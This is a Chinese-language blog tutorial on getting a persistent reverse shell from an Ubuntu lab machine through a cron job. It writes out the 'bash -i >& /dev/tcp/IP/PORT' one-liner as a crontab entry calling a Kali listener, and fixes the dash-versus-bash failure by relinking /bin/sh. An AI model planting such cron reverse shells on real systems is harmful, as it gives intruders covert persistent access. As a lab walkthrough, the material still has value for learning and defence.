ubuntu計劃任務反彈shell

實驗環境

ubuntu 14.04 x64位:192.168.1.115

kali/win10:192.168.1.108/107

所用工具:netcat(瑞士軍刀)

計劃任務

至於計劃任務是什麼我覺大不需要太多解釋,就是定時執行任務的意思那麼接下來看看計劃任務的格式,以及書寫

crond 是linux用來定期執行程序的命令,如果未安裝需要先安裝,不在多說

cron服務提供crontab命令來設定cron服務的,以下是這個命令的一些參數與說明:

  • crontab -u //設定某個用戶的cron服務,一般root用戶在執行這個命令的時候需要此參數
  • crontab -l //列出某個用戶cron服務的詳細內容
  • crontab -r //刪除沒個用戶的cron服務
  • crontab -e //編輯某個用戶的cron服務

我們使用crontab -e編輯的文件都被保存在 /var/spool/cron目錄中。其文件名與用戶名一致(redis裏面命名的root)

基本語法

分      小時     日       月      星期      命令

0-59   0-23   1-31   1-12     0-6     command     (取值範圍,0表示週日一般一行對應一個任務)

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

前四行是用來配置crond任務運行的環境變量

  • 第一行SHELL變量指定了系統要使用哪個shell,這裏是bash
  • 第二行PATH變量指定了系統執行命令的路徑
  • 第三行MAILTO變量指定了crond的任務執行信息將通過電子郵件發送給root用戶,如果MAILTO變量的值爲空,則表示不發送任務執行信息給用戶
  • 第四行的HOME變量指定了在執行命令或者腳本時使用的主目錄

反彈shell

bash -i >& /dev/tcp/IP/PORT 0>&1

要想了解“>&”和“0>&1”,首先我們要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  • 標準輸入   (stdin) :代碼爲 0 ,使用 < 或 << 
  • 標準輸出   (stdout):代碼爲 1 ,使用 > 或 >> 
  • 標準錯誤輸出(stderr):代碼爲 2 ,使用 2> 或 2>>

命令解釋

  • bash -i: -i(interactive)。即產生一個交互式的shell(bash)
  • /dev/tcp/IP/POR:接單理解就可以是連接IP上的PORT端口,具體意思-->>/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/
  • 在這裏&並不是and的意思,在c或者C++中,&是取地址符。>&和&<是一個意思,把...定向到.....;>&和2>&1是一個意思就是把標準錯誤輸出定向到標準輸出中,0>&1就是把標準輸入定向到標準輸出中

參考文章:https://blog.csdn.net/deeplearnings/article/details/77367695

本地測試


通過ssh連接兩臺虛擬機

在kali中開啓監聽,這裏我們隨便選一個端口,大於1000的-->>6666端口

在Ubuntu中寫入計劃任務,使用crontab -e直接編輯

* * * * * bash -i  >& /dev/tcp/192.168.1.109/6666 0>&1

切換到root用戶查看,發現crontabs目錄下多了一個qiushui文件,這裏是因爲我剛纔是用qiushui用戶登陸的,如果可以拿到shell,也是此用戶的shell,但是並沒有反彈成功

接下來,查看一下Ubuntu這邊的日誌:tail -f /var/log/syslog

經過查閱資料

Ubuntu系統默認會將計劃任務的錯誤信息以郵件的方式發送給用戶,但是由於Ubuntu系統默認沒有安裝郵件系統,所以真正的報錯信息並不是No MTA installed,discarding output這句話

想看到真正的報錯信息有兩種解決辦法:

  • 安裝郵件系統
  • 將計劃任務的錯誤信息輸出到一個文件內

我們選擇第二種,接下來修改一下計劃任務,讓他輸出到一個文件內

* * * * * bash -i  '>& /dev/tcp/192.168.1.109/6666 0>&1'>/tmp/error.txt 2>&1

大概需要等一分鐘左右,接下來我們去查看error文件

  • 第一行:無法設定終端進程組
  • 第二行:此shell中無任務控制
  • 第三行:沒有這個文件或目錄

這條錯誤的意思說/bin/bash沒有被找到,linux裏面的cron中command執行的shell環境是/bin/sh,接下來我們看看ubuntu的bin/sh文件

ls -l | grep -w 'sh'

可以看到/bin/sh 文件實際上是一個軟鏈接文件,他指向的是dash這個shell

而實際上dash這個shell只有運行腳本的能力,而沒有交互能力。

這裏我們只需要將修改sh的軟鏈接爲bash即可

ln -s -f bash /bin/sh

解決完問題我們把計劃任務修改回來,成功反彈

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章